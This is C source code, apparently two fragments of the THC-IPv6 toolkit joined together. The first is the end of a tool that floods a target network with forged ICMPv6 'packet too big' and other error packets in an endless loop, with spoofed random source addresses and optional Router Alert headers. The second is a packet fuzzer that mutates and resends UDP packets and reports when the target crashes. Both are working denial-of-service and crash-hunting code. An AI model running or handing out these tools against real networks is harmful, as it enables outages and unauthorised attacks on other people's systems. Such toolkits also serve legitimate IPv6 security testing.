0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 }; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); while ((i = getopt(argc, argv, "acpPTUrRs:m")) >= 0) { switch(i) { case 'a': alert = 8; break; case 'c': do_crc = 0; break; case 'm': maxsize = -1; break; case 'p': type = ICMP6_ECHOREQUEST; break; case 'P': type = ICMP6_ECHOREPLY; break; case 'T': type = ICMP6_TTLEXEED; break; case 'U': type = ICMP6_UNREACH; break; case 'r': randsrc = 8; break; case 'R': randsrc = 1; break; case 's': src = thc_resolve6(optarg); break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); interface = argv[optind]; if ((ptr = index(argv[optind + 1], '/')) != NULL) *ptr = 0; if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: Can not resolve %s\n", argv[optind + 1]); exit(-1); } if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (src == NULL) if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL || (src[0] == 0xfe && src[1] == 0x80)) { fprintf(stderr, "Error: no global IPv6 address configured on interface %s\n", interface); exit(-1); } if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { fprintf(stderr, "Error: can not find a route to target %s\n", argv[2]); exit(-1); } if (maxsize == -1) maxsize = thc_get_mtu(interface) - 48 - alert; if (maxsize > sizeof(offender)) maxsize = sizeof(offender); for (i = 0; i < ((sizeof(offender) - 48) / 4); i++) memcpy(offender + 48 + i*4, (char*) &filler + _TAKE4, 4); memcpy(offender + 8, dst, 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (alert) { memset(buf2, 0, sizeof(buf2)); buf2[0] = 5; buf2[1] = 2; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, type, 0, 1280, offender, maxsize, 0) < 0) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *) pkt; if (do_hdr_size) offset = do_hdr_size; printf("Starting to flood target network with toobig %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (1) { for (i = 4; i < 8; i++) ip6[i] = rand() % 256; memcpy(hdr->pkt + offset + 32 + 4, ip6 + 4, 4); memcpy(hdr->pkt + offset + 40 + 8 + 8 + 8 + 4 + alert, ip6 + 4, 4); if (randsrc) { for (i = randsrc; i < 16; i++) hdr->pkt[offset + 8 + i] = rand() % 256; } if (do_crc) { hdr->pkt[offset + 42 + alert] = 0; hdr->pkt[offset + 43 + alert] = 0; mychecksum = checksum_pseudo_header(hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_ICMP6, hdr->pkt + offset + 40 + alert, pkt_len - offset - 40 - alert); hdr->pkt[offset + 42 + alert] = mychecksum / 256; hdr->pkt[offset + 43 + alert] = mychecksum % 256; } while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); count++; if (count % 1000 == 0) printf("."); } return 0; }
int fuzz_loop(char* pkt, int* pkt_len) { int do_fuzz = 1; int test_pos = 0, test_ptr = 0, test_cnt = 0, test_current = 0; int do_it; int i; unsigned short int *sip; unsigned int *intp; int fragment = 0, frag_offset = 0; unsigned char *pkt_bak; thc_ipv6_hdr *hdr = (thc_ipv6_hdr *) pkt; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d:\n", test_start, test_end); printf("fuzzbuf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1], 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *) &hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; case 'D': intp = (unsigned int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_DWORD) { if (*intp != dwords[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &dwords[test_cnt - 1], 4); else do_it = 0; } else { i = 0; while (i < COUNT_DWORD && do_it) { if (dwords[i] == *intp) do_it = 0; i++; } if (do_it) { i = *intp ^ xors[test_cnt - COUNT_DWORD - 1]; intp = (unsigned int *) &hdr->pkt[test_pos]; *intp = (unsigned int) i; // *intp = (unsigned int) (i % 4294967295); } } if (test_cnt == COUNT_DWORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 4; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); return -1; break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| \n", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); // Generate new transaction id int three_byte_test_current = test_current % 0x1000000; memcpy(hdr->pkt + 63, (char *) &three_byte_test_current, 3); // Regenerate UDP checksum hdr->pkt[60] = 0; hdr->pkt[61] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_UDP, &hdr->pkt[54], hdr->pkt_len - 54); hdr->pkt[60] = i / 256; hdr->pkt[61] = i % 256; // send packets int k; for (k = 0; k < no_send; k++) { while(thc_send_pkt(interface, pkt, pkt_len) < 0) usleep(1); } // printf("."); usleep(250); // TODO: Server up check if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", thc_ipv62notation(hdr->final_dst), i < 0 ? 0 : i, test_current); exit(1); } } // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } } return 0; }